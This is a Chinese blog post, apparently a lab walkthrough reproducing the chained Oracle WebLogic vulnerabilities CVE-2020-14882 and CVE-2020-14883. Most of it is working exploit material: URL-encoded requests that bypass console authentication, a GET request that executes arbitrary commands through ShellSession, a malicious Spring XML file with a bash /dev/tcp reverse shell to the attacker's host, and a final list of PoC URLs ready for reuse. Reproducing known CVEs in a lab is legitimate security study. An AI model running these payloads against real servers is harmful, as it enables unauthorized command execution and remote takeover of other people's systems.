当前位置: 首页 > article >正文

Weblogic未授权远程命令执行漏洞复现

1 漏洞简介

Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

2 环境搭建

本次实验用到三个虚拟机

攻击机:Kali       ip:192.168.222.131

环境机:Ubantu     ip:192.168.222.128

Xml挂载:windows 7  ip:192.168.222.130(这个好像网上也有自己用起一个也行)

  Ubantu  Vulhub

Docker启动

3 影响版本

10.3.6.0.0,

12.1.3.0.0,

12.2.1.3.0,

12.2.1.4.0,

14.1.1.0.0

4 漏洞复现

访问:

1

http://192.168.222.128:7001/console/css/%252e%252e%252fconsole.portal

 

未授权复现完成。

远程命令执行:

1

http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

1

touch /tmp/success1    //替换其他命令<br><br>

反弹shell

 这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10版本并不存在com.tangosol.coherence.mvel2.sh.ShellSession类,使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类时,需要构造一个恶意的xml文件。

rec.xml

1

2

3

4

5

6

7

8

9

10

11

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">

<constructor-arg>

<list>

<value>-c</value>

<value>/bin/bash</value>

<value><![CDATA[bash -i >& /dev/tcp/192.168.222.131/8888 0>&1]]></value>

</list>

</constructor-arg>

</bean>

</beans>

Poc:

1

http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.222.130/rce.xml")

Rce.xml文件下载:http://192.168.222.130/rce.xml  (windows 7 自己起的)

如果用到弹shell需要自己替换一下xml弹shell命令

访问抓包

然后用kali  nc监听8888

在将获取的数据包repeater重放

Poc整理:

反弹shell :

1

http://ip+端口/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://*.*.*.*/evil.xml")

需要xxx.xml文件。修改文件内的命令

未授权:

1

http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal

命令执行:

1

http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

这里执行的

touch%20/tmp/success1


http://www.kler.cn/a/592724.html

相关文章:

  • 【内付相关主题会议进行参考】智能技术应用前沿:算法、感知与控制的学术支点与产业衔接
  • 配置固定ip绕过ip限制
  • 动平衡仿真程序设计
  • JVM 的类加载机制原理
  • Flask应用调试模式下外网访问的技巧
  • 类和对象C++
  • keepalived应用
  • 2025年【安全员-C证】新版试题及安全员-C证理论考试
  • HTTP请求方法详解:GET、POST、PUT在微信小程序中的应用
  • milvus实战-基于Ollama+bge-large-zh搭建嵌入模型,fastAPI提供http服务将PDF文件写入milvus向量库
  • Java 文件和IO流基础(生动形象版)
  • jmeter中,上传文件的MIME类型
  • pnpm config set ignore-workspace-root-check true
  • CSS三大特性、显示模式、背景与书写顺序
  • AI赋能生态学:ChatGPT+多技术融合在生态系统服务中的实践探索与学术写作
  • 崖山YashanDB:下一代国产分布式数据库的架构革新与行业实践
  • 【初学者】指针:概念、示例与应用场景详解
  • 基于java的ssm+JSP+MYSQL的九宫格日志网站(含LW+PPT+源码+系统演示视频+安装说明)
  • 虚拟电商-延迟任务系统的微服务改造(二)
  • GoLang 反射